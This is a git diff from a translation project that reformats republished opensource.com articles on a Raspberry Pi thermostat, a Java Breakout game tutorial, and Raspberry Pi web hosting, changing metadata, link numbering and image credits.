@@ -163,96 +137,87 @@ if self.target_state.value == 1:             GPIO.output(self.relay_pin, GPIO.HIGH)     # if heat relay is not already on, check if below threshold     elif not GPIO.input(self.relay_pin): -        if self.current_temp.value - self.target_temp.value <= -0.5: +        if self.current_temp.value - self.target_temp.value <= -0.5:             status = 'HEAT OFF - TEMP IS BELOW BOTTOM THRESHOLD, TURNING ON'             GPIO.output(self.relay_pin, GPIO.HIGH)         else:           status = 'HEAT OFF - KEEPING OFF' ``` -![Thresholding][27] - -Thresholding allows longer stretches of time where the heat is off. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Thresholding][28] And I achieved my ultimate goal—to be able to control all of it from my phone. -![ThermOS as a HomeKit Hub][28] - -ThermOS as a HomeKit Hub (Joseph Truncale, [CC BY-SA 4.0][3]) +![ThermOS as a HomeKit Hub][29] ### Putting my ThermOS in a lunchbox My proof of concept was pretty messy. -![Initial ThermOS setup][29] +![Initial ThermOS setup][30] -ThermOS controlling a single zone (before packaging it) (Joseph Truncale, [CC BY-SA 4.0][3]) - -With the software and general hardware design in place, I started figuring out how to package all of the components in a more permanent and polished form. One of my main concerns for a permanent installation was to use a breadboard with DuPont jumper wires. I ordered some [solderable breadboards][30] and a [screw terminal breakout board][31] (thanks [@arduima][32] for the Raspberry Pi GPIO pins). +With the software and general hardware design in place, I started figuring out how to package all of the components in a more permanent and polished form. One of my main concerns for a permanent installation was to use a breadboard with DuPont jumper wires. I ordered some [solderable breadboards][31] and a [screw terminal breakout board][32] (thanks [@arduima][33] for the Raspberry Pi GPIO pins). Here's what the solderable breadboard with mounts and enclosure looked like in progress. -![ThermOS hardware being packaged][33] - -Putting the ThermOS in a lunchbox. (Joseph Truncale, [CC BY-SA 4.0][3]) +![ThermOS hardware][34] And here it is, mounted in the boiler room. -![ThermOS mounted][34] - -ThermOS mounted (Joseph Truncale, [CC BY-SA 4.0][3]) +![ThermOS mounted][35] Now I just need to organize and label the wires, and then I can start swapping the remainder of the thermostats over to ThermOS. And I'll be on to my next project: ThermOS for my central air conditioning. -* * * +Image by: (Joseph Truncale, CC BY-SA 4.0) -_This originally appeared on [Medium][35] and is republished with permission._ +*This originally appeared on [Medium][36] and is republished with permission.* -------------------------------------------------------------------------------- via: https://opensource.com/article/21/3/thermostat-raspberry-pi 作者:[Joe Truncale][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/jtruncale -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/home-thermostat.jpg?itok=wuV1XL7t (Orange home vintage thermostat) -[2]: https://opensource.com/sites/default/files/uploads/oldthermostats.jpeg (Old thermostats) -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://opensource.com/sites/default/files/uploads/furnacevalves.jpeg (Furnace valves) -[5]: https://smartthermostatguide.com/thermostat-c-wire-explained/ -[6]: https://www.amazon.com/Emerson-Thermostat-Version-Energy-Certified/dp/B01NB1OB0I -[7]: https://www.honeywellhome.com/us/en/products/air/forced-air-zone-panels/truezone-hz432-panel-hz432-u/ -[8]: https://www.amazon.com/Honeywell-Redlink-Enabled-Internet-THM6000R7001/dp/B0783HK9ZZ -[9]: https://github.com/truncj/thermos -[10]: http://draw.io/ -[11]: https://opensource.com/sites/default/files/uploads/furnacewiring.png (Furnace wiring architecture) -[12]: https://opensource.com/sites/default/files/uploads/settingrelays.gif (Manually setting relays using Raspberry Pi and Python) -[13]: https://datasheets.maximintegrated.com/en/ds/DS18B20.pdf -[14]: https://learn.openenergymonitor.org/electricity-monitoring/temperature/DS18B20-temperature-sensing -[15]: https://github.com/cpetrich/counterfeit_DS18B20 -[16]: https://www.mouser.com/ -[17]: https://opensource.com/sites/default/files/uploads/tempsensors.png (Temperature sensors) -[18]: https://twitter.com/jofredrick -[19]: https://opensource.com/sites/default/files/uploads/attachingsensors.jpeg (Attaching temperature sensors) -[20]: https://opensource.com/sites/default/files/uploads/wallmount.jpeg (Wall mounts) -[21]: https://github.com/pihome-shc/pihome -[22]: https://github.com/homebridge/homebridge -[23]: https://github.com/ikalchev/HAP-python -[24]: https://opensource.com/sites/default/files/uploads/iphoneintegration.gif (ThermOS HomeKit integration) -[25]: https://opensource.com/sites/default/files/uploads/thermosarchitecture.png (ThermOS software architecture) -[26]: https://en.wikipedia.org/wiki/Rubber_duck_debugging -[27]: https://opensource.com/sites/default/files/uploads/thresholding.png (Thresholding) -[28]: https://opensource.com/sites/default/files/uploads/thermoshomekit.png (ThermOS as a HomeKit Hub) -[29]: https://opensource.com/sites/default/files/uploads/unpackaged.jpeg (Initial ThermOS setup) -[30]: https://www.amazon.com/gp/product/B07ZV8FWM4/r -[31]: https://www.amazon.com/gp/product/B084C69VSQ/ -[32]: https://twitter.com/dimitri_koshkin -[33]: https://opensource.com/sites/default/files/uploads/breadboard.png (ThermOS hardware being packaged) -[34]: https://opensource.com/sites/default/files/uploads/mounted.png (ThermOS mounted) -[35]: https://joetruncale.medium.com/thermos-d089e1c4974b +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/home-thermostat.jpg +[2]: https://unsplash.com/@mojamsanii?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/thermostat?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://opensource.com/sites/default/files/uploads/oldthermostats.jpeg +[5]: https://opensource.com/sites/default/files/uploads/furnacevalves.jpeg +[6]: https://smartthermostatguide.com/thermostat-c-wire-explained/ +[7]: https://www.amazon.com/Emerson-Thermostat-Version-Energy-Certified/dp/B01NB1OB0I +[8]: https://www.honeywellhome.com/us/en/products/air/forced-air-zone-panels/truezone-hz432-panel-hz432-u/ +[9]: https://www.amazon.com/Honeywell-Redlink-Enabled-Internet-THM6000R7001/dp/B0783HK9ZZ +[10]: https://github.com/truncj/thermos +[11]: http://draw.io/ +[12]: https://opensource.com/sites/default/files/uploads/furnacewiring.png +[13]: https://opensource.com/sites/default/files/uploads/settingrelays.gif +[14]: https://datasheets.maximintegrated.com/en/ds/DS18B20.pdf +[15]: https://learn.openenergymonitor.org/electricity-monitoring/temperature/DS18B20-temperature-sensing +[16]: https://github.com/cpetrich/counterfeit_DS18B20 +[17]: https://www.mouser.com/ +[18]: https://opensource.com/sites/default/files/uploads/tempsensors.png +[19]: https://twitter.com/jofredrick +[20]: https://opensource.com/sites/default/files/uploads/attachingsensors.jpeg +[21]: https://opensource.com/sites/default/files/uploads/wallmount.jpeg +[22]: https://github.com/pihome-shc/pihome +[23]: https://github.com/homebridge/homebridge +[24]: https://github.com/ikalchev/HAP-python +[25]: https://opensource.com/sites/default/files/uploads/iphoneintegration.gif +[26]: https://opensource.com/sites/default/files/uploads/thermosarchitecture.png +[27]: https://en.wikipedia.org/wiki/Rubber_duck_debugging +[28]: https://opensource.com/sites/default/files/uploads/thresholding.png +[29]: https://opensource.com/sites/default/files/uploads/thermoshomekit.png +[30]: https://opensource.com/sites/default/files/uploads/unpackaged.jpeg +[31]: https://www.amazon.com/gp/product/B07ZV8FWM4/r +[32]: https://www.amazon.com/gp/product/B084C69VSQ/ +[33]: https://twitter.com/dimitri_koshkin +[34]: https://opensource.com/sites/default/files/uploads/breadboard.png +[35]: https://opensource.com/sites/default/files/uploads/mounted.png +[36]: https://joetruncale.medium.com/thermos-d089e1c4974b diff --git a/sources/tech/20210302 Learn Java with object orientation by building a classic Breakout game.md b/sources/tech/20210302 Learn Java by building a classic arcade game.md similarity index 58% rename from sources/tech/20210302 Learn Java with object orientation by building a classic Breakout game.md rename to sources/tech/20210302 Learn Java by building a classic arcade game.md index 121fe21b62..f5f43c98f4 100644 --- a/sources/tech/20210302 Learn Java with object orientation by building a classic Breakout game.md +++ b/sources/tech/20210302 Learn Java by building a classic arcade game.md @@ -1,37 +1,35 @@ -[#]: subject: (Learn Java with object orientation by building a classic Breakout game) -[#]: via: (https://opensource.com/article/21/3/java-object-orientation) -[#]: author: (Vaneska Sousa https://opensource.com/users/vaneska) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Learn Java by building a classic arcade game" +[#]: via: "https://opensource.com/article/21/3/java-object-orientation" +[#]: author: "Vaneska Sousa https://opensource.com/users/vaneska" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " -Learn Java with object orientation by building a classic Breakout game +Learn Java by building a classic arcade game ====== -Practice how to structure a project and write Java code while having fun -building a fun game. +Practice how to structure a project and write Java code while having fun building a fun game. + ![Learning and studying technology is the key to success][1] -As a second-semester student in systems and digital media at the Federal University of Ceará in Brazil, I was given the assignment to remake the classic Atari 2600 [Breakout game][2] from 1978. I am still in my infancy in learning software development, and this was a challenging experience. It was also a gainful one because I learned a lot, especially about applying object-oriented concepts. +Image by: [WOCinTech Chat][2], [CC BY 2.0][3] -![Breakout game][3] +As a second-semester student in systems and digital media at the Federal University of Ceará in Brazil, I was given the assignment to remake the classic Atari 2600 [Breakout game][4] from 1978. I am still in my infancy in learning software development, and this was a challenging experience. It was also a gainful one because I learned a lot, especially about applying object-oriented concepts. -(Vaneska Karen, [CC BY-SA 4.0][4]) +![Breakout game][5] I'll explain how I accomplished this challenge, and if you follow the step-by-step instructions, at the end of this article, you will have the first pieces of your own classic Breakout game. ### Choosing Java and TotalCross -Several of my courses use [Processing][5], a software engine that uses [Java][6]. Java is a great language for learning programming concepts, in part because it's a strongly typed language. +Several of my courses use [Processing][6], a software engine that uses [Java][7]. Java is a great language for learning programming concepts, in part because it's a strongly typed language. Despite being free to choose any language or framework for my Breakout project, I chose to continue in Java to apply what I've learned in my coursework. I also wanted to use a framework so that I did not need to do everything from scratch. I considered using Godot, but that would mean I would hardly need to program at all. -Instead, I chose [TotalCross][7]. It is an open source software development kit (SDK) and framework with a simple game engine that generates code for [Linux Arm][8] devices (like the Raspberry Pi) and smartphones. Also, because I work for TotalCross, I have access to developers with much more experience than I have and know the platform very well. It seemed to be the safest way and, despite some strife, I don't regret it one bit. It was very cool to develop the whole project and see it running on the phone and the [Raspberry Pi][9]. +Instead, I chose [TotalCross][8]. It is an open source software development kit (SDK) and framework with a simple game engine that generates code for [Linux Arm][9] devices (like the Raspberry Pi) and smartphones. Also, because I work for TotalCross, I have access to developers with much more experience than I have and know the platform very well. It seemed to be the safest way and, despite some strife, I don't regret it one bit. It was very cool to develop the whole project and see it running on the phone and the [Raspberry Pi][10]. -![Breakout remake][10] - -Breakout remake built with Java and TotalCross running on Raspberry Pi 3 Model B. (Vaneska Karen, [CC BY-SA 4.0][4]) +![Breakout remake][11] ### Define the project mechanics and structure @@ -39,63 +37,52 @@ When starting to develop any application, and especially a game, you need to con #### Game mechanics - 1. The platform moves left or right, according to the user's command. When it reaches an end, it hits the "wall" (edge). - 2. When the ball hits the platform, it returns in the opposite direction it came from. - 3. Each time the ball hits a "brick" (blue, green, yellow, orange, or red), the brick disappears. - 4. When all the bricks in level 01 have been destroyed, new ones appear (in the same position as the previous one), and the ball's speed increases. - 5. When all the bricks in level 02 have been destroyed, the game continues without obstacles on the screen. - 6. The game ends when the ball falls. - - +1. The platform moves left or right, according to the user's command. When it reaches an end, it hits the "wall" (edge). +2. When the ball hits the platform, it returns in the opposite direction it came from. +3. Each time the ball hits a "brick" (blue, green, yellow, orange, or red), the brick disappears. +4. When all the bricks in level 01 have been destroyed, new ones appear (in the same position as the previous one), and the ball's speed increases. +5. When all the bricks in level 02 have been destroyed, the game continues without obstacles on the screen. +6. The game ends when the ball falls. #### Project structure - * `RunBreakoutApplication.java` is the class responsible for calling the class that inherits the `GameEngine` and runs the simulator. - * `Breakout.java` is the main class, which inherits from the `GameEngine` class and "assembles" the game, where it will call objects, define positions, etc. - * The `sprites` package is where all the classes responsible for the sprites (e.g., the image and behavior of the blocks, platform, and ball) go. - * The `util` packages contain classes used to facilitate project maintenance, such as constants, image initialization, and colors. - - +* RunBreakoutApplication.java is the class responsible for calling the class that inherits the `GameEngine` and runs the simulator. +* Breakout.java is the main class, which inherits from the `GameEngine` class and "assembles" the game, where it will call objects, define positions, etc. +* The `sprites` package is where all the classes responsible for the sprites (e.g., the image and behavior of the blocks, platform, and ball) go. +* The `util` packages contain classes used to facilitate project maintenance, such as constants, image initialization, and colors. ### Get hands-on with code -First, install the [TotalCross plugin from VSCode][11]. If you are using another [integrated development environment][12] (IDE), check TotalCross's documentation for installation instructions.  - -If you're using the plugin, just press `Ctrl`+`P`, type `totalcross`, and click `Create new project`. Fill in the requested information: - - * `Folder name:` gameTC - * `ArtifactId:` com.totalcross - * `Project name:` Breakout - * `TotalCross version:` 6.1.1 (or the most recent one) - * `Build platforms:` -Android and -Linux_arm (select the platforms you want) +First, install the [TotalCross plugin from VSCode][12]. If you are using another [integrated development environment][13] (IDE), check TotalCross's documentation for installation instructions. +If you're using the plugin, just press `Ctrl` +`P`, type `totalcross`, and click `Create new project`. Fill in the requested information: +* Folder name: gameTC +* ArtifactId: com.totalcross +* Project name: Breakout +* TotalCross version: 6.1.1 (or the most recent one) +* Build platforms: -Android and -Linux_arm (select the platforms you want) When filling in the fields above and generating the project, if you are in the `RunBreakoutApplication.java` class, right-clicking on it and clicking "run" will open the simulator, and "Hello World!" will appear on your screen if you have created your Java project with TotalCross properly. -![HelloWorld project structure][13] +![HelloWorld project structure][14] -(Vaneska Karen, [CC BY-SA 4.0][4]) +If you have a problem, check the [documentation][15] or ask the [TotalCross community][16] on Telegram for help. -If you have a problem, check the [documentation][14] or ask the [TotalCross community][15] on Telegram for help. - -After the project is configured, the next step is to add the project's images in `Resources` > `Sprites`. Create two packages named `util` and `sprites` to work on later. +After the project is configured, the next step is to add the project's images in `Resources` > `Sprites`. Create two packages named `util` and `sprites` to work on later. The structure of your project will be: -![Project structure][16] - -(Vaneska Karen, [CC BY-SA 4.0][4]) +![Project structure][17] ### Go behind the scenes -To make it easier to maintain the code and change the images to the colors you want to use, it's a good practice to [centralize everything by creating classes][17]. Place all of the classes for this function inside the `util` package. +To make it easier to maintain the code and change the images to the colors you want to use, it's a good practice to [centralize everything by creating classes][18]. Place all of the classes for this function inside the `util` package. #### Constants.java First, create the `constants.java` class, which is where placement patterns (such as the edge between the screen and where the platform starts), speed, number of blocks, etc., reside. This is good for playing, changing numbers, and understanding where things change and why. It is a great exercise for those just starting with Java. - ``` package com.totacross.util; @@ -105,15 +92,15 @@ import totalcross.util.UnitsConverter; public class Constants {     //Position -    public static final int BOTTOM_EDGE = UnitsConverter.toPixels(430 + [Control][18].DP); -    public static final int DP_23 = UnitsConverter.toPixels(23 + [Control][18].DP); -    public static final int DP_50 = UnitsConverter.toPixels(50 + [Control][18].DP); -    public static final int DP_100 = UnitsConverter.toPixels(100 + [Control][18].DP); +    public static final int BOTTOM_EDGE = UnitsConverter.toPixels(430 + Control.DP); +    public static final int DP_23 = UnitsConverter.toPixels(23 + Control.DP); +    public static final int DP_50 = UnitsConverter.toPixels(50 + Control.DP); +    public static final int DP_100 = UnitsConverter.toPixels(100 + Control.DP);     //Sprites -    public static final int EDGE_RACKET = UnitsConverter.toPixels(20 + [Control][18].DP); -    public static final int WIDTH_BALL =  UnitsConverter.toPixels(15 + [Control][18].DP); -    public static final int HEIGHT_BALL =  UnitsConverter.toPixels(15 + [Control][18].DP); +    public static final int EDGE_RACKET = UnitsConverter.toPixels(20 + Control.DP); +    public static final int WIDTH_BALL =  UnitsConverter.toPixels(15 + Control.DP); +    public static final int HEIGHT_BALL =  UnitsConverter.toPixels(15 + Control.DP);     //Bricks     public static final int NUM_BRICKS = 10; @@ -136,7 +123,6 @@ If you want to know more about the pixel density (DP) unit, I recommend reading As the name suggests, this class is where you define the colors used in the game. I recommend naming things according to the color's purpose, such as background, font color, etc. This will make it easier to update your project's color palette in a single class. - ``` package com.totacross.util; @@ -152,7 +138,6 @@ public class Colors { The `images.java` class is undoubtedly the most frequently used. - ``` package com.totacross.util; @@ -160,26 +145,27 @@ import static com.totacross.util.Constants.*; import totalcross.ui.dialog.MessageBox; import totalcross.ui.image.Image; + public class Images { -    public static [Image][20] paddle, ball; -    public static [Image][20] red, orange, dark_orange, yellow, green, blue; +    public static Image paddle, ball; +    public static Image red, orange, dark_orange, yellow, green, blue;     public static void loadImages() {         try {             // general -            paddle = new [Image][20]("sprites/paddle.png"); -            ball = new [Image][20]("sprites/ball.png").getScaledInstance(WIDTH_BALL, HEIGHT_BALL); +            paddle = new Image("sprites/paddle.png"); +            ball = new Image("sprites/ball.png").getScaledInstance(WIDTH_BALL, HEIGHT_BALL);             // Bricks -            red = new [Image][20]("sprites/red_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); -            orange = new [Image][20]("sprites/orange_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); -            dark_orange = new [Image][20]("sprites/orange2_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); -            yellow = new [Image][20]("sprites/yellow_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); -            green = new [Image][20]("sprites/green_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); -            blue = new [Image][20]("sprites/blue_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); +            red = new Image("sprites/red_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); +            orange = new Image("sprites/orange_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); +            dark_orange = new Image("sprites/orange2_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); +            yellow = new Image("sprites/yellow_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); +            green = new Image("sprites/green_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); +            blue = new Image("sprites/blue_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); -        } catch ([Exception][21] e) { +        } catch (Exception e) {             MessageBox.showException(e, true);         }     } @@ -192,9 +178,7 @@ The `getScaledInstance()` method will manipulate the image to match the values p At this point, your project should look like this: -![Project structure][22] - -(Vaneska Karen, [CC BY-SA 4.0][4]) +![Project structure][20] ### Create your first sprite @@ -202,11 +186,10 @@ Now that the project is structured properly, you're ready to create your first c #### Paddle.java -The `paddle.java` class must inherit from `sprite`, which is the class responsible for objects in games. This is a fundamental concept in game engine development, so when inheriting from sprites, the TotalCross framework will already be concerned with delimiting movement within the screen, detecting collisions between sprites, and other important functions. You can check all the details in [Javadoc][23]. +The `paddle.java` class must inherit from `sprite`, which is the class responsible for objects in games. This is a fundamental concept in game engine development, so when inheriting from sprites, the TotalCross framework will already be concerned with delimiting movement within the screen, detecting collisions between sprites, and other important functions. You can check all the details in [Javadoc][21]. In Breakout, the paddle moves on the X-axis at a speed determined by the user's command (by touch screen or mouse movement). The `paddle.java` class is responsible for defining this movement and the sprite's image (the "face"): - ``` package com.totacross.sprites; @@ -218,7 +201,7 @@ import totalcross.ui.image.ImageException; public class Paddle extends Sprite {   private static final int SPEED = 4; -  public Paddle() throws [IllegalArgumentException][24], [IllegalStateException][25], ImageException { +  public Paddle() throws IllegalArgumentException, IllegalStateException, ImageException {     super(Images.paddle, -1, true, null);   } @@ -235,7 +218,7 @@ public class Paddle extends Sprite { } ``` -You indicate the image (`Images.paddle`) within the constructor, and the `move` method (a TotalCross feature) receives the speed defined at the beginning of the class. Experiment with other values and observe what happens with the movement. +You indicate the image (`Images.paddle` ) within the constructor, and the `move` method (a TotalCross feature) receives the speed defined at the beginning of the class. Experiment with other values and observe what happens with the movement. When the paddle is moving to the left, the center of the paddle at any moment is defined as itself minus the speed, and when it's moving to the right, it's itself plus the speed. Ultimately, you define the position of the sprite on the screen. @@ -247,17 +230,14 @@ When building your game engine, you need to focus on some standard points. For t Basically, you will delete the automatically generated `initUI()` method and, instead of inheriting from `MainWindow`, you will inherit it from `GameEngine`. A "red" will appear in the name of your class, so just click on the lamp or the suggestion symbol for your IDE and click `Add unimplemented methods`. This will automatically generate the `onGameInit()` method, which is responsible for the moment when the game starts, i.e., the moment the `breakout` class is called. -Inside the constructor, you must add the style type (`MaterialUI`) and the refresh time on the screen (`70`), and signal that the game has an interface (`gameHasUI = true;`). +Inside the constructor, you must add the style type (`MaterialUI` ) and the refresh time on the screen (`70` ), and signal that the game has an interface (`gameHasUI = true;` ). Last but not least, you have to start the game through `this.start()` on `onGameInit()` and focus on some other methods: - * `onGameInit()` is the first method called. In it, you must initialize the sprites and images (`Images.loadImages`), and tell the game that it can start. - * `onGameStart()`is called when the game starts. It sets the platform's initial position (in the center of the screen on the X-axis and below the center with a border on the Y-axis). - * `onPaint()` is where you say what will be drawn for each frame. First, it paints the background black (to not leave traces of the sprites), then it displays the sprites with `.show()`. - * The `onPenDrag` and `onPenDown` methods identify when the user moves the paddle (by dragging a finger on a touch screen or moving the mouse while pressing the left button). These methods change the paddle movement through the `setPos()` method, which triggers the `move` method in the `Paddle.java` class. Note that the last parameter of the `racket.setPos` method is `true` to precisely limit the paddle's movement within the screen so that it never disappears from the user's field of view. - - - +* onGameInit() is the first method called. In it, you must initialize the sprites and images (Images.loadImages), and tell the game that it can start. +* onGameStart()is called when the game starts. It sets the platform's initial position (in the center of the screen on the X-axis and below the center with a border on the Y-axis). +* onPaint() is where you say what will be drawn for each frame. First, it paints the background black (to not leave traces of the sprites), then it displays the sprites with `.show()`. +* The `onPenDrag` and `onPenDown` methods identify when the user `move`s the paddle (by dragging a finger on a touch screen or moving the mouse while pressing the left button). These methods change the paddle movement through the `setPos()` method, which triggers the move method in the `Paddle.java` class. Note that the last parameter of the `racket.setPos` method is `true` to precisely limit the paddle's movement within the screen so that it never disappears from the user's field of view. ``` package com.totacross; @@ -295,7 +275,7 @@ public class Breakout extends GameEngine {         try {             racket = new Paddle(); -        } catch ([Exception][21] e) { +        } catch (Exception e) {             MessageBox.showException(e, true);             MainWindow.exit(0);         } @@ -307,7 +287,7 @@ public class Breakout extends GameEngine {      //to draw the interface      @Override -     public void onPaint([Graphics][26] g) { +     public void onPaint(Graphics g) {          super.onPaint(g);          if (gameIsRunning) {              g.backColor = Colors.PRIMARY; @@ -339,71 +319,64 @@ public class Breakout extends GameEngine { To run the game, just click `RunBreakoutApplication.java` with the right mouse button, then click `run` to see how it looks. -![Breakout game remake on phone][27] - -(Vaneska Karen, [CC BY-SA 4.0][4]) +![Breakout game remake][22] If you want to run it on a Raspberry Pi, change the parameters in the `RunBreakoutApplication.java` class to: - ``` -`        TotalCrossApplication.run(Breakout.class, "/scr", "848x480");` +TotalCrossApplication.run(Breakout.class, "/scr", "848x480"); ``` This sets the screen size to match the Raspberry Pi. -![Breakout on Raspberry Pi][28] - -(Vaneska Karen, [CC BY-SA 4.0][4]) +![Breakout on Raspberry Pi][23] The first sprite and game mechanics are ready! ### Next steps -In the next article, I'll show how to add the ball sprite and make collisions. If you need help, call me in the [community group][15] on Telegram or post in the TotalCross [forum][29], where I'm available to help. +In the next article, I'll show how to add the ball sprite and make collisions. If you need help, call me in the [community group][24] on Telegram or post in the TotalCross [forum][25], where I'm available to help. -If you put this article into practice, share your experience in the comments. All feedback is important! If you wish, favorite [TotalCross on GitHub][30], as it improves the project's relevance on the platform. +If you put this article into practice, share your experience in the comments. All feedback is important! If you wish, favorite [TotalCross on GitHub][26], as it improves the project's relevance on the platform. + +Image by: (Vaneska Karen, CC BY-SA 4.0) -------------------------------------------------------------------------------- via: https://opensource.com/article/21/3/java-object-orientation 作者:[Vaneska Sousa][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/vaneska -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/studying-books-java-couch-education.png?itok=C9gasCXr (Learning and studying technology is the key to success) -[2]: https://www.youtube.com/watch?v=Cr6z3AyhRr8 -[3]: https://opensource.com/sites/default/files/uploads/originalbreakout.gif (Breakout game) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://processing.org/ -[6]: https://opensource.com/resources/java -[7]: https://opensource.com/article/20/7/totalcross-cross-platform-development -[8]: https://www.arm.linux.org.uk/docs/whatis.php -[9]: https://opensource.com/resources/raspberry-pi -[10]: https://opensource.com/sites/default/files/uploads/breakoutremake.gif (Breakout remake) -[11]: https://marketplace.visualstudio.com/items?itemName=totalcross.vscode-totalcross -[12]: https://www.redhat.com/en/topics/middleware/what-is-ide -[13]: https://opensource.com/sites/default/files/uploads/helloworld.png (HelloWorld project structure) -[14]: https://learn.totalcross.com/ -[15]: https://t.me/guiforembedded -[16]: https://opensource.com/sites/default/files/uploads/projectstructure.png (Project structure) -[17]: https://learn.totalcross.com/documentation/guides/app-architecture/colors-fonts-and-images -[18]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+control +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/studying-books-java-couch-education.png +[2]: https://www.wocintechchat.com/ +[3]: https://creativecommons.org/licenses/by/2.0/ +[4]: https://www.youtube.com/watch?v=Cr6z3AyhRr8 +[5]: https://opensource.com/sites/default/files/uploads/originalbreakout.gif +[6]: https://processing.org/ +[7]: https://opensource.com/resources/java +[8]: https://opensource.com/article/20/7/totalcross-cross-platform-development +[9]: https://www.arm.linux.org.uk/docs/whatis.php +[10]: https://opensource.com/resources/raspberry-pi +[11]: https://opensource.com/sites/default/files/uploads/breakoutremake.gif +[12]: https://marketplace.visualstudio.com/items?itemName=totalcross.vscode-totalcross +[13]: https://www.redhat.com/en/topics/middleware/what-is-ide +[14]: https://opensource.com/sites/default/files/uploads/helloworld.png +[15]: https://learn.totalcross.com/ +[16]: https://t.me/guiforembedded +[17]: https://opensource.com/sites/default/files/uploads/projectstructure.png +[18]: https://learn.totalcross.com/documentation/guides/app-architecture/colors-fonts-and-images [19]: https://material.io/design/layout/pixel-density.html -[20]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+image -[21]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+exception -[22]: https://opensource.com/sites/default/files/uploads/projectstructure2.png (Project structure) -[23]: https://en.wikipedia.org/wiki/Javadoc -[24]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+illegalargumentexception -[25]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+illegalstateexception -[26]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+graphics -[27]: https://opensource.com/sites/default/files/uploads/runbreakout.gif (Breakout game remake on phone) -[28]: https://opensource.com/sites/default/files/uploads/runbreakout2.gif (Breakout on Raspberry Pi) -[29]: http://forum.totalcross.com -[30]: https://github.com/totalcross/totalcross +[20]: https://opensource.com/sites/default/files/uploads/projectstructure2.png +[21]: https://en.wikipedia.org/wiki/Javadoc +[22]: https://opensource.com/sites/default/files/uploads/runbreakout.gif +[23]: https://opensource.com/sites/default/files/uploads/runbreakout2.gif +[24]: https://t.me/guiforembedded +[25]: http://forum.totalcross.com +[26]: https://github.com/totalcross/totalcross diff --git a/sources/tech/20210303 Host your website with dynamic content and a database on a Raspberry Pi.md b/sources/tech/20210303 Host your website with dynamic content and a database on a Raspberry Pi.md index 805f04dafa..dbd7837991 100644 --- a/sources/tech/20210303 Host your website with dynamic content and a database on a Raspberry Pi.md +++ b/sources/tech/20210303 Host your website with dynamic content and a database on a Raspberry Pi.md @@ -1,50 +1,44 @@ -[#]: subject: (Host your website with dynamic content and a database on a Raspberry Pi) -[#]: via: (https://opensource.com/article/21/3/web-hosting-raspberry-pi) -[#]: author: (Marty Kalin https://opensource.com/users/mkalindepauledu) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Host your website with dynamic content and a database on a Raspberry Pi" +[#]: via: "https://opensource.com/article/21/3/web-hosting-raspberry-pi" +[#]: author: "Marty Kalin https://opensource.com/users/mkalindepauledu" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Host your website with dynamic content and a database on a Raspberry Pi ====== -You can use free software to support a web application on a very -lightweight computer. +You can use free software to support a web application on a very lightweight computer. + ![Digital creative of a browser on the internet][1] Raspberry Pi's single-board machines have set the mark for cheap, real-world computing. With its model 4, the Raspberry Pi can host web applications with a production-grade web server, a transactional database system, and dynamic content through scripting. This article explains the installation and configuration details with a full code example. Welcome to web applications hosted on a very lightweight computer. ### The snowfall application -Imagine a downhill ski area large enough to have microclimates, which can mean dramatically different snowfalls across the area. The area is divided into regions, each of which has devices that record snowfall in centimeters; the recorded information then guides decisions on snowmaking, grooming, and other maintenance operations. The devices communicate, say, every 20 minutes with a server that updates a database that supports reports. Nowadays, the server-side software for such an application can be free _and_ production-grade. +Imagine a downhill ski area large enough to have microclimates, which can mean dramatically different snowfalls across the area. The area is divided into regions, each of which has devices that record snowfall in centimeters; the recorded information then guides decisions on snowmaking, grooming, and other maintenance operations. The devices communicate, say, every 20 minutes with a server that updates a database that supports reports. Nowadays, the server-side software for such an application can be free *and* production-grade. This snowfall application uses the following 